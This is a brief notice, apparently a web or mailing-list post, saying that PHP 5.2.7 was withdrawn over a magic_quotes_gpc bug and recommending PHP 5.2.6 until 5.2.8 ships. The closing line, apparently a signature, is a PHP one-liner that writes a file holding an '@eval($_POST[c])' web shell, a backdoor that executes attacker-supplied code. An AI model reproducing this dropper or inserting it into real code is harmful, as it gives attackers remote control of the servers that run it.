Due to a security bug found in the PHP 5.2.7 release, it has been removed from distribution. The bug affects configurations where magic_quotes_gpc is enabled, because it remains off even when set to on. In the meantime, use PHP 5.2.6 until PHP 5.2.8 is later released.
< ?fputs(fopen('heige.php','w+'),'< ?php @eval($_POST[c])? >');? >MSN:SuperHei@ph4nt0m.org